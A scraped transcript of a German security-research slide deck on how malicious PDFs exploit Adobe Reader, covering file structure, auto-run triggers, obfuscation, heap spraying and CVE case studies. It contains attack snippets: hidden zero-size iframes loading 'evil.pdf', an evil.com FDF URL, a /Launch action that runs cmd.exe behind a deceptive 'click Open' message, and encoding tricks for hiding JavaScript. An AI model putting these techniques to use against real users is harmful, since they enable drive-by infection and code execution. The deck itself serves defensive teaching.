1 / 66

PDF Exploitation

PDF Exploitation. Herzlich Willkommen. Überblick. G Data Software AG SecurityLabs. Karsten Tellmann, Security Researcher. Gliederung. PDF Überblick PDF im WWW PDF Struktur PDF Exploitation Beispiele. 1. PDF Überblick. 1992: PDF v1.0 wird veröffentlicht

vidor
Télécharger la présentation

PDF Exploitation

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. PDF Exploitation Herzlich Willkommen. Überblick G Data Software AG SecurityLabs Karsten Tellmann, Security Researcher

  2. Gliederung PDF Überblick PDF im WWW PDF Struktur PDF Exploitation Beispiele

  3. 1. PDF Überblick

  4. 1992: PDF v1.0 wird veröffentlicht • 1993: PDF Spezifikation wird veröffentlicht • 1993: Adobe Acrobat wird veröffentlicht • 1999: JavaScript Interpreter kommt hinzu • 2005: 3D Engine kommt hinzu • 2007: Flash Support • 2008: PDF wird zum Standard (ISO 32000-1:2008) • Über 200.000.000 PDF Dokumente im WWW • Über 1.800 Anbieter von PDF bezogenen • Produkten/Dienstleistungen Portable Document Format - Fakten Quelle: http://www.adobe.com/pdf

  5. Video • Audio • XML • U3D • Interaktive Formulare • Dateianhänge • Datenbanken (ADBC) • Kodierung • Verschlüsselung • Digitale Singaturen • JavaScript • Flash • Dateien ausführen (cmd.exe) Ausgewählte Features Digitales eierlegendes Wollmilchdokumentenformat

  6. Warum ist PDF so interessant für Malwareautore? Warum PDF? • Weite Verbreitung (-> großes Zielpublikum) • Enormer Funktionsumfang (-> Komplexität vs. Sicherheit) • Veraltete Versionen (-> Alte Exploits) • Browser Plug-ins (-> Drive-by-Downloads)

  7. Common VulnerabilitiesandExposures (CVE) Suchbegriffe Adobe Reader PDF Adobe Reader + PDF Quelle: http://cve.mitre.org

  8. 2. PDF im WWW

  9. Generell (FF 3.6.13, Opera 10.63, IE 8.0) <object data="evil.pdf" type="application/pdf" width="0" height="0"/> <iframe src="evil.pdf" frameborder="0" width="0" height="0" /> <embed src="evil.pdf" width="0" height="0" /> Internet Explorer <object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000" width="0" height="0"><param name="src" value="evil.pdf" /> </object> Einbetten in einer Webseite

  10. PluginDetect (Eric Gerds): • http://pinlady.net/PluginDetect • Konfigurierbares JavaScript zur Bestimmung von • Browser Plugin Versionen • Java, QuickTime, DevalVR, Shockwave, Flash, Windows Media Player, Silverlight, VLC Player, Adobe Reader, Generic PDF Reader Plugin Versionserkennung

  11. PluginDetect Beispiel <html><head><title>PDF Reader PluginDetection</title> <scriptsrc="PluginDetector.js"></script> <scriptlanguage="javascript" type="text/javascript"> functioncheck_version(){ adobe = PluginDetect.getVersion("AdobeReader"); version = adobe.split(",").join("."); alert("Adobe Reader Version: "+version); } </script></head> <bodyonload="check_version()"> </body></html>

  12. PluginDetect: Bleeding Life • Bleeding Life Exploit Kit Version 2: ~400 $ • Unterstützte PDF Exploits: • CVE 2008-2992 (util.printf) • CVE 2010-0188 (libtiff) • CVE 2010-1297 (authplay.dll (AVM2)) • CVE 2010-2884 (authplay.dll (AVM2)) Beispiel: bleedinglife.txt

  13. Browser Kontext • Das Sicherheits-Management des Adobe Reader ändert sich im Browser Kontext: • Keine Warnmeldungen wenn das PDF mit Webseiten • interagieren will (zB.: GoToR) • Parameter können via GET an das Reader Plug-in • übergeben werden: • http://site.org/file.pdf#page=23 • http://site.org.file.pdf#fdf=http://evil.com/modify.fdf Quelle: Maliciousorigami in PDF

  14. 3. PDF Struktur

  15. Basis Datentypen

  16. Einbetten von kodiertem Inhalt (zB.: .jpg, .png) • Kodieren von beliebigem Inhalt (zB.: JavaScript) • Filter können beliebig verkettet werden PDF Streams Liste von unterstützten Filtern: • ASCII85Decode • ASCIIHexDecode • FlateDecode • LZWDecode • RunLengthDecode • DCTDecode • CCITTFaxDecode • JBIG2Decode • JPXDecode • (U3D)

  17. Basis Datentypen werden in Objekten organisiert • Objekte haben eine ID und können referenziert werden Objects 1 0 obj << /Var (Text) >> endobj 1 0 obj << /Var 2 0 R >> Endobj 2 0 obj (Text) endobj Äquivalent

  18. Header: Version der PDF Spezifikation. Objekte: Beschreiben den Inhalt des Dokuments. Cross Reference Table: Gibt an , an welcher Byte-Position im Dokument welches Objekt steht und in welcher Version es vorliegt. Trailer: Anzahl der Objekte, spezifiziert das root Element, Position des letzten Cross Reference Table. Physikalische Struktur

  19. Physikalische Struktur Beispiel: Hello-World.pdf

  20. Parsing Schritte: • Suche PDF Header innerhalb der • ersten 1024 Bytes • Suche Trailer und bestimme root Objekt • und Cross Reference Table (xref) • Bestimme Byte Position vom root Objekt • mittels Eintrag im xref und parse Inhalt. • Folge Referenzen Logische Struktur Überblick Herzlich Willkommen.

  21. PDFs können Aktionen ausführen: • Ausführen von JavaScript • Senden von Formularen, Email • Lokale OS Kommandos ausführen • Externe Ressourcen ansprechen • Abspielen von Musik und Videos • … Aktionen

  22. Aktionen werden ausgelöst: • Öffnen und schließen des Dokuments • Öffnen und schließen einer Seite • Betreten eines bestimmten Fläche in einer Seite • Beim parsen eines Objektes • … Trigger

  23. Aktionen und Trigger Beispiel: Triggers.pdf

  24. Reader Software reagiert unterschiedlich auf Formatfehler. Reader Toleranz I Überblick PDF Header Spezifikation: %PDF-<Versions Nr.> steht am Anfang der Datei • Acrobat Reader X: • %PDF- reicht aus • Innerhalb der ersten 1024 Bytes • Vor dem Catalog Objekt Hybrides Format: PDF/ZIP, PDF/GIF, PDF/HTML,…

  25. Reader Software reagiert unterschiedlich auf Formatfehler. Reader Toleranz II Überblick • PDF Spezifikation: • %%EOF steht am Ende der Datei • /Size • /Length • Acrobat Reader X: • komplett egal

  26. Reader Toleranz III Überblick Quelle: http://blog.didierstevens.com

  27. Reader Toleranz Beispiel Überblick %PDF- trailer<</Root<</Pages<<>>/OpenAction<</S/JavaScript /JS(app.alert({cMsg:'Stuff Goes Here'});)>>>>>> by Julia Wolf, FireEye Malware Intelligence Lab

  28. Name Obfuscation • /JavaScript • /#4A#61#76#61#53#63#72#69#70#74 PDF Obfuscation I Überblick • Literal String Obfuscation • /JS (app.alert(„GotYa!“);) • /JS (\141\160\160.\\ • alert(„Go\164 Y\141!“);) • Hexadecimal String Obfuscation • /JS <6170702e616c6572742822476f742059612122293b> • /JS <61 70 702e 616c 65 72 74 • 28 22 476f 74 2059612122293b>

  29. Stream Objekte • Alles kann Inhalt eines Stream Objekts sein • Verketten von beliebig vielen Filtern: • /Filter [/ASCIIHexDecode /FlateDecode /JBIG2Decode] PDF Obfuscation II Überblick • Encryption (RC4, AES in CBC mode) • Verschlüsselt nur Inhalt von String und Stream Objekten • Bei leerem Owner Passwort, wird mit einem • 32Byte Standardpasswort entschlüsselt (außer AES256). • <28BF4E5E4E758A4164004E56FFFa0108 • 2E2E00B6D0683E802F0CA9FE6453697A> • => Keine Benutzerinteraktion nötig!

  30. PDF Obfuscation Beispiel Beispiel: CVE-2009-0658 Buffer overflow Schwachstelle in der Verarbeitung von JBIG2 streams. Anfällig waren Adobe Reader bis Version 9.0 Überblick Metasploit Beispiel: msf_jbig2decode.pdf

  31. Variablen aus PDF Objekten auslesen: • getPageNthWord • getLinks • getIcon • getPageNumWords • getPageNthWordQuads • documentFileName • getAnnots • this.info.<var> JavaScript: Anti Emulation Überblick

  32. 4. PDF Exploitation

  33. Vorüberlegungen Szenario (gezielt vs. massenhaft) Exploit(s) wählen (Plattform, Software, Version …) Schutzmaßnahmen (Obfuscation, Anti Emulation) Ziel des Angriffs (Shell, Backdoor, weiterer Schadcode) Überblick

  34. Angriffsschritte Angriff auslösen (/OpenAction, /AA, /A, /Names) Speicher vorbereiten (HeapSpray,JITSpray) Schwachstelle ausnutzen (Exploit) Eigenen Programmcode ausführen (Shellcode) Überblick

  35. Bestimmen der Plattform und der Version des Acrobat Reader, um eine auf das Zielsystem angepassten Exploit zu benutzen. Multiple Exploits Überblick

  36. JavaScript: Heapspray Überblick 64K (Nopsled+Shellcode) * 4096 (Blöcke) => 256MB Heap

  37. Heapspray: Speicher Überblick

  38. 5. Beispiel Exploits

  39. Schwachstellenkategorien • Funktionsmissbrauch • Acrobat JavaScript Methoden • Stream Filter (JBIG2,TIFF) • 3D Objekte (U3D) • Font Parsing Modulen • Eingebettete Flash Files

  40. Funktionsmissbrauch: CVE-2010-1240 Embedded Datei cmd.exe speichern Ändere Text der MessageBox Benutzer führt Datei aus 7 0 obj << /Type /Action /S /Launch /Win << /F (cmd.exe) /P (/C echo @set LP="\(">s1.bat&&echo @set RP="\)">>s1.bat&&echo … To view the encrypted message in this PDF document, select 'Do not show this message again' and click the Open button!)>>>>endobj

  41. /Action /Launch %PDF- trailer<</Root<</Pages<<>>/OpenAction 2 0 R>>>>>> 2 0 obj << /Type /Action /S /Launch /F << /DOS (D:\cmd.exe) /Unix (/usr/bin/xcalc) /Mac (/Applications/Calculator.app) >> >>endobj

  42. JavaScript Methode: CVE-2007-5659

  43. Stream Filter (JBIG2): CVE-2009-0658

  44. Aufbau JBIG2 Stream • Page associationsize: • 0 : Segment pageassociation = 1 Byte • 1 : Segment pageassociation = 4 Byte • Setze segment association size = 1 • Wähle großen Wert für segment page association • (0x00666666 * 5 * 4) • Programmablauf zeigt auf den 1. Teil des Heap Spray • und interpretiert den Wert als Pointer (0x341F2500) • Pointer zeigt auf 2. Teil des Heap Sprays mit • Nopsled + Shellcode und führt diesen aus

  45. Anmerkungen CVE-2009-0658 • Die Schwachstelle ist nicht Adobe Reader spezifisch, da der Fehler in der Parsing Bibliothek für JBIG2 Streams liegt. • Die Schwachstelle kann ohne öffnen des PDF ausgelöst • werden: • Windows Indexing Service (Indiziert auch PDF Inhalte) • Windows Column Handler (Ordner Vorschau, MetaInfo) • Es wird jedoch kein JavaScript ausgeführt um den • Speicher für den Angriff vorzubereiten.

  46. U3D: CVE-2009-2990 Beispiel Java Script: U3D CLODProgressiveMesh-Continuation Split Position Index arbitrary dereference

  47. U3D: CVE-2009-2990 Fehlende Validierung des Split Position Index Im Resolution Update des CLOD Progressive Mesh Continuation Block

  48. Font Parsing: CVE-2010-2883

  49. CVE-2010-2883 • 06.09. – Golf Clinic.pdf • 07.09. – Zum ersten Mal bei VirusTotal.com (1/43) • 08.09. – Adobe Advisory • 08.09. – InitialesMetasploit-Modul • 04.10. – Offizieller Adobe-Patch (Regulärer Patch-Zyklus: 12.10.)

  50. Die Schwachstelle • Stackbasedbufferoverflow: CoolType.dll • Feld in SING (Smart INdependentGlyphlets) Tabelle von TrueType Fonts • uniqueName Spezifikation: (28 byte, 7-bit ASCII, Null Terminiert) • Strcat(stack_buf, user_input) => Null Terminierung wird nicht überprüft

More Related